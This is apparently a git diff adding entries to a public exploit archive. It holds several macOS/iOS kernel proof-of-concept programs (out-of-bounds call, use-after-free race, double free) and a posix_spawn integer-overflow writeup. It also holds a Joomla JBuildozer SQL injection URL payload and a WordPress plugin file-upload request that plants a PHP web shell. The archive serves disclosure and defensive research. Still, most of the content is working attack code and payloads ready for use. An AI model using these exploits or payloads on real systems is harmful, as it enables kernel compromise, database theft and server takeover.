diff --git a/exploits/macos/dos/43327.c b/exploits/macos/dos/43327.c new file mode 100644 index 000000000..af3d14d47 --- /dev/null +++ b/exploits/macos/dos/43327.c @@ -0,0 +1,75 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375 + +AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index +a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode +which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution. + +Tested on MacOS 10.13 (17A365) on MacBookAir5,2 +*/ + +// ianbeer +// build: clang -o capri_link_config capri_link_config.c -framework IOKit + +#if 0 +MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig + +AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index +a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode +which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution. + +Tested on MacOS 10.13 (17A365) on MacBookAir5,2 +#endif + +#include +#include +#include + +#include + +int main(int argc, char** argv){ + kern_return_t err; + + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl")); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), 0, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + uint64_t inputScalar[16]; + uint64_t inputScalarCnt = 0; + + char inputStruct[4096]; + size_t inputStructCnt = 8; + //*(uint64_t*)inputStruct = 0x12345678; // crash + *(uint64_t*)inputStruct = 0x37; // oob call + + + uint64_t outputScalar[16]; + uint32_t outputScalarCnt = 0; + + char outputStruct[4096]; + size_t outputStructCnt = 4096; + + err = IOConnectCallMethod( + conn, + 0x921, // GetLinkConfig + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); + + return 0; +} \ No newline at end of file diff --git a/exploits/multiple/dos/43325.txt b/exploits/multiple/dos/43325.txt new file mode 100644 index 000000000..657e8c171 --- /dev/null +++ b/exploits/multiple/dos/43325.txt @@ -0,0 +1,143 @@ +posix_spawn is a complex syscall which takes a lot of arguments from userspace. The third argument +is a pointer to a further arguments descriptor in userspace with the following structure (on 32-bit): + + struct user32__posix_spawn_args_desc { + uint32_t attr_size; /* size of attributes block */ + uint32_t attrp; /* pointer to block */ + uint32_t file_actions_size; /* size of file actions block */ + uint32_t file_actions; /* pointer to block */ + uint32_t port_actions_size; /* size of port actions block */ + uint32_t port_actions; /* pointer to block */ + uint32_t mac_extensions_size; + uint32_t mac_extensions; + uint32_t coal_info_size; + uint32_t coal_info; + uint32_t persona_info_size; + uint32_t persona_info; + } + +port_actions then points to another structure in userspace of this type: + + struct _posix_spawn_port_actions { + int pspa_alloc; + int pspa_count; + _ps_port_action_t pspa_actions[]; + } + +and finally _ps_port_action_t looks like this: + + struct _ps_port_action { + pspa_t port_type; + exception_mask_t mask; + mach_port_name_t new_port; + exception_behavior_t behavior; + thread_state_flavor_t flavor; + int which; + } + +Note that pspa_actions is a zero-sized array. pspa_count is supposed to be the number of entries +in this array. + +The following constraints are checked in posix_spawn in kern_exec.c: + + if (px_args.port_actions_size != 0) { + /* Limit port_actions to one page of data */ + if (px_args.port_actions_size < PS_PORT_ACTIONS_SIZE(1) || + px_args.port_actions_size > PAGE_SIZE) { + error = EINVAL; + goto bad; + + +PS_PORT_ACTIONS_SIZE is defined like this: + + #define PS_PORT_ACTIONS_SIZE(x) \ + __offsetof(struct _posix_spawn_port_actions, pspa_actions[(x)]) + +if port_actions_size passes this then we reach the following code: + + MALLOC(px_spap, _posix_spawn_port_actions_t, + px_args.port_actions_size, M_TEMP, M_WAITOK); + if (px_spap == NULL) { + error = ENOMEM; + goto bad; + } + + imgp->ip_px_spa = px_spap; + + if ((error = copyin(px_args.port_actions, px_spap, + px_args.port_actions_size)) != 0) + goto bad; + +This allocates a kernel heap buffer to hold the port_actions buffer and copies from userspace into it. + +The code then attempts to check whether the pspa_count valid is correct: + + /* Verify that the action count matches the struct size */ + if (PS_PORT_ACTIONS_SIZE(px_spap->pspa_count) != px_args.port_actions_size) { + error = EINVAL; + goto bad; + } + +There is an integer overflow here because offsetof is just simple arithmetic. With a carefully chosen +value for pspa_count we can make it very large but when it's passed to the PS_PORT_ACTIONS_SIZE macro +the result is equal to port_actions_size. Nothing bad has happened yet but we can now get pspa_count +to be much larger than it should be. + +Later on we reach the following code: + + if (px_spap->pspa_count != 0 && is_adaptive) { + portwatch_count = px_spap->pspa_count; + MALLOC(portwatch_ports, ipc_port_t *, (sizeof(ipc_port_t) * portwatch_count), M_TEMP, M_WAITOK | M_ZERO); + } else { + portwatch_ports = NULL; + } + + if ((error = exec_handle_port_actions(imgp, &portwatch_present, portwatch_ports)) != 0) + +We can cause another integer overflow here, sizeof(ipc_port_t) is 4 (on 32-bit) so with a carefully chosen value of pspa_count +we can cause the integer overflow here and earlier too whilst still passing the checks. + +exec_handle_port_actions then uses portwatch ports like this: + + for (i = 0; i < pacts->pspa_count; i++) { + act = &pacts->pspa_actions[i]; + + if (MACH_PORT_VALID(act->new_port)) { + kr = ipc_object_copyin(get_task_ipcspace(current_task()), + act->new_port, MACH_MSG_TYPE_COPY_SEND, + (ipc_object_t *) &port); +... + switch (act->port_type) { +... + case PSPA_IMP_WATCHPORTS: + if (portwatch_ports != NULL && IPC_PORT_VALID(port)) { + *portwatch_present = TRUE; + /* hold on to this till end of spawn */ + portwatch_ports[i] = port; + + +note that pspa_actions was allocated earlier also based on the result of an integer overflow. +This means we can cause an OOB write to portwatch_ports only if we can successfully read suitable valid +values OOB of pspa_actions. That's why this PoC first fills a kalloc.1024 buffer with suitable values before +freeing it and then hoping that it will get reallocated as pspa_actions (but less thatn 1024 bytes will be written) +such that we control what's read OOB and the ipc_object_copyin will succeed. + +This seems to be pretty reliable. You can use this to build a nice primitive of a heap overflow with pointers +to ipc_port structures. + +I don't believe there are any iOS 11 32-bit iPod/iPhone/iPad/AppleTV devices but the new Apple Watch Series 3 +is running essentially the same kernel but has a 32-bit CPU. This PoC is provided as an Apple watch app +and has been tested on Apple Watch Series 3 (Watch3,2) running WatchOS 4.0.1. I also tested on an older 32-bit iOS 9 device. + +Apple Watch Series 3 now has its own LTE modem and can be used without an iPhone making it a suitably interesting target for exploitation +by itself. + +Note that all the uses of offsetof in those posix_spawn macros are quite wrong, I think you might be able to get +a kernel memory disclosure with one of them also on 64-bit platforms. The fix is to add correct bounds checking. + +Please also note that this really shouldn't be attack surface reachable from an app sandbox. The MAC hook in posix_spawn +is very late and there's a *lot* of code which you can hit before it. + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43325.zip \ No newline at end of file diff --git a/exploits/multiple/dos/43326.c b/exploits/multiple/dos/43326.c new file mode 100644 index 000000000..812caec2e --- /dev/null +++ b/exploits/multiple/dos/43326.c @@ -0,0 +1,115 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1377 + +IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService. + +IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor. +IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object. + +It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another +thread at the same time. + +IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd, +it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs +if you also call external methods which manipulate those arrays in other threads. + +For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then +used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible. + +Tested on MacOS 10.13 (17A365) on MacBookAir5,2 +*/ + +// ianbeer +// build: clang -o timesync_uaf timesync_uaf.c -framework IOKit -lpthread +// repro: while true; do ./timesync_uaf; done + +#if 0 +MacOS multiple kernel UAFs due to incorrect IOKit object lifetime management in IOTimeSyncClockManagerUserClient + +IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService. + +IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor. +IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object. + +It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another +thread at the same time. + +IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd, +it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs +if you also call external methods which manipulate those arrays in other threads. + +For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then +used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible. + +Tested on MacOS 10.13 (17A365) on MacBookAir5,2 +#endif + +#include +#include +#include +#include + +#include + +#include + +int go = 0; + +void* thread_func(void* arg) { + io_object_t conn = (io_object_t)arg; + go = 1; + + IOServiceClose(conn); + return 0; +} + +int main(int argc, char** argv){ + kern_return_t err; + + io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOTimeSyncClockManager")); + + if (service == IO_OBJECT_NULL){ + printf("unable to find service\n"); + return 0; + } + + io_connect_t conn = MACH_PORT_NULL; + err = IOServiceOpen(service, mach_task_self(), 0, &conn); + if (err != KERN_SUCCESS){ + printf("unable to get user client connection\n"); + return 0; + } + + pthread_t thread; + pthread_create(&thread, NULL, thread_func, (void*)conn); + + while(!go){;} + + uint64_t inputScalar[16]; + uint64_t inputScalarCnt = 0; + + char inputStruct[4096]; + size_t inputStructCnt = 0; + + uint64_t outputScalar[16]; + uint32_t outputScalarCnt = 1; + + char outputStruct[4096]; + size_t outputStructCnt = 0; + + err = IOConnectCallMethod( + conn, + 1, + inputScalar, + inputScalarCnt, + inputStruct, + inputStructCnt, + outputScalar, + &outputScalarCnt, + outputStruct, + &outputStructCnt); + + printf("%x\n", err); + + return 0; +} \ No newline at end of file diff --git a/exploits/multiple/dos/43328.c b/exploits/multiple/dos/43328.c new file mode 100644 index 000000000..b3517d00b --- /dev/null +++ b/exploits/multiple/dos/43328.c @@ -0,0 +1,126 @@ +/* +Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1373 + +SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by + + flow_divert_token_set(struct socket *so, struct sockopt *sopt) + +in flow_divert.c. + +The relevant code is: + + error = soopt_getm(sopt, &token); + if (error) { + goto done; + } + + error = soopt_mcopyin(sopt, token); + if (error) { + goto done; + } + +... + +done: + if (token != NULL) { + mbuf_freem(token); + } + +soopt_getm allocates an mbuf. + +soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code: + + error = copyin(sopt->sopt_val, mtod(m, char *), + m->m_len); + if (error != 0) { + m_freem(m0); + return (error); + } + +This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin +will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin +returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed. + +mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing +back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually +exploit such an issue. + +This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect +all double frees and this issue is still exploitable with sufficient grooming/cache manipulation. + +Tested on MacOS 10.13 (17A365) on MacBookAir5,2 +*/ + +// ianbeer + +#if 0 +MacOS/iOS kernel double free due to incorrect API usage in flow divert socket option handling + +SO_FLOW_DIVERT_TOKEN is a socket option on the SOL_SOCKET layer. It's implemented by + + flow_divert_token_set(struct socket *so, struct sockopt *sopt) + +in flow_divert.c. + +The relevant code is: + + error = soopt_getm(sopt, &token); + if (error) { + goto done; + } + + error = soopt_mcopyin(sopt, token); + if (error) { + goto done; + } + +... + +done: + if (token != NULL) { + mbuf_freem(token); + } + +soopt_getm allocates an mbuf. + +soopt_mcopyin, which should copyin the data for the mbuf from userspace, has the following code: + + error = copyin(sopt->sopt_val, mtod(m, char *), + m->m_len); + if (error != 0) { + m_freem(m0); + return (error); + } + +This means that if the copyin fails, by for example providing an invalid userspace pointer, soopt_mcopyin +will free the mbuf. flow_divert_token_set isn't aware of these semantics and if it sees that soopt_mcopyin +returns an error it also calls mbuf_freem on that same mbuf which soopy_mcopyin already freed. + +mbufs are aggressivly cached but with sufficiently full caches m_freem will eventually fall through to freeing +back to a zalloc zone, and that zone could potentially be garbage collected leading to the ability to actually +exploit such an issue. + +This PoC will just hit a panic inside m_free when it detects a double-free but do note that this cannot detect +all double frees and this issue is still exploitable with sufficient grooming/cache manipulation. + +Tested on MacOS 10.13 (17A365) on MacBookAir5,2 +#endif + +#include +#include + +#include + +int main() { + int sock = socket(PF_INET, SOCK_DGRAM, 0); + if (socket < 0) { + printf("failed to create socket\n"); + return 0; + } + + printf("socket: %d\n", sock); + + setsockopt(sock, SOL_SOCKET, 0x1106, (void*)424242424242, 100); + + return 0; +} \ No newline at end of file diff --git a/exploits/php/webapps/43323.txt b/exploits/php/webapps/43323.txt new file mode 100644 index 000000000..16c68adbd --- /dev/null +++ b/exploits/php/webapps/43323.txt @@ -0,0 +1,28 @@ +# # # # # +# Exploit Title: Joomla! Component JBuildozer 1.4.1 - SQL Injection +# Dork: N/A +# Date: 12.12.2017 +# Vendor Homepage: http://jbuildozer.com/ +# Software Link: https://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/jbuildozer/ +# Version: 1.4.1 +# Category: Webapps +# Tested on: WiN7_x64/KaLiLinuX_x64 +# CVE: N/A +# # # # # +# Exploit Author: Ihsan Sencan +# Author Web: http://ihsan.net +# Author Social: @ihsansencan +# # # # # +# Description: +# The vulnerability allows an attacker to inject sql commands.... +# +# Proof of Concept: +# +# 1) +# http://localhost/[PATH]/index.php?option=com_jbuildozer&view=entriessearch&tmpl=component&mode=module&tpl=3&appid=[SQL] +# +# 1%20%20%2f*!05555Procedure*%2f%20%2f*!05555Analyse*%2f%20%28extractvalue(0%2c%2f*!05555concat*%2f%280x27,0x496873616e2053656e63616e,0x3a,@@version%29%29,0%29%2d%2d%20%2d +# +# http://server/index.php?option=com_jbuildozer&view=entriessearch&tmpl=component&mode=module&tpl=3&appid=1%20%20%2f*!05555Procedure*%2f%20%2f*!05555Analyse*%2f%20%28extractvalue(0%2c%2f*!05555concat*%2f%280x27,0x496873616e2053656e63616e,0x3a,@@version%29%29,0%29%2d%2d%20%2d +# +# # # # # \ No newline at end of file diff --git a/exploits/php/webapps/43324.txt b/exploits/php/webapps/43324.txt new file mode 100644 index 000000000..0bc26bde2 --- /dev/null +++ b/exploits/php/webapps/43324.txt @@ -0,0 +1,38 @@ +# Exploit Title: Unauthenticated Arbitrary File Upload +# Date: November 12, 2017 +# Exploit Author: Colette Chamberland +# Author contact: colette@defiant.com +# Author homepage: https://defiant.com +# Vendor Homepage: https://accesspressthemes.com/ +# Software Link: https://codecanyon.net/item/accesspress-anonymous-post-pro/9160446 +# Version: < 3.2.0 +# Tested on: Wordpress 4.x +# CVE : CVE-2017-16949 + + +Description: +Improper sanitization allows the attacker to override the settings for allowed file extensions and upload file size. This allows +the attacker to upload anything they want, bypassing the filters. + +PoC: + +POST /wp-admin/admin-ajax.php?action=ap_file_upload_action&file_uploader_nonce=[nonce]&allowedExtensions[]=php&sizeLimit=64000 HTTP/1.1 +Host:server +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:55.0) Gecko/20100101 Firefox/55.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Content-Type: multipart/form-data; boundary=---------------------------7230359611602921801124357792 +Content-Length: 264 +Referer: http://target.com/ +Cookie: PHPSESSID=22cj9s25f72jr376ln2a3oj6h6; +Connection: close +Upgrade-Insecure-Requests: 1 + +-----------------------------7230359611602921801124357792 +Content-Disposition: form-data; name="qqfile"; filename="myshell.php" +Content-Type: text/php + +&1'); ?> + +-----------------------------7230359611602921801124357792-- \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index e02a43d42..b612b6c8d 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -5774,6 +5774,10 @@ id,file,description,date,author,type,platform,port 43319,exploits/macos/dos/43319.c,"macOS - 'getrusage' Stack Leak Through struct Padding",2017-12-11,"Google Security Research",dos,macos, 43318,exploits/macos/dos/43318.c,"macOS - 'necp_get_socket_attributes' so_pcb Type Confusion",2017-12-11,"Google Security Research",dos,macos, 43322,exploits/linux/dos/43322.txt,"LibTIFF pal2rgb 4.0.9 - Heap Buffer Overflow",2017-12-11,"Jungun Baek",dos,linux, +43325,exploits/multiple/dos/43325.txt,"Apple XNU Kernel - Memory Corruption due to Integer Overflow in __offsetof Usage in posix_spawn on 32-bit Platforms",2017-12-12,"Google Security Research",dos,multiple, +43326,exploits/multiple/dos/43326.c,"macOS/iOS - Multiple Kernel Use-After-Frees due to Incorrect IOKit Object Lifetime Management in IOTimeSyncClockManagerUserClient",2017-12-12,"Google Security Research",dos,multiple, +43327,exploits/macos/dos/43327.c,"macOS - Kernel Code Execution due to Lack of Bounds Checking in AppleIntelCapriController::GetLinkConfig",2017-12-12,"Google Security Research",dos,macos, +43328,exploits/multiple/dos/43328.c,"macOS/iOS - Kernel Double Free due to Incorrect API Usage in Flow Divert Socket Option Handling",2017-12-12,"Google Security Research",dos,multiple, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -38353,3 +38357,5 @@ id,file,description,date,author,type,platform,port 43314,exploits/php/webapps/43314.html,"Basic Job Site Script 2.0.5 - SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php, 43315,exploits/php/webapps/43315.txt,"Vanguard 1.4 - Arbitrary File Upload",2017-12-11,"Ihsan Sencan",webapps,php, 43316,exploits/php/webapps/43316.txt,"Vanguard 1.4 - SQL Injection",2017-12-11,"Ihsan Sencan",webapps,php, +43323,exploits/php/webapps/43323.txt,"Joomla! Component JBuildozer 1.4.1 - 'appid' SQL Injection",2017-12-12,"Ihsan Sencan",webapps,php,80 +43324,exploits/php/webapps/43324.txt,"Accesspress Anonymous Post Pro < 3.2.0 - Unauthenticated Arbitrary File Upload",2017-12-12,"Colette Chamberland",webapps,php,80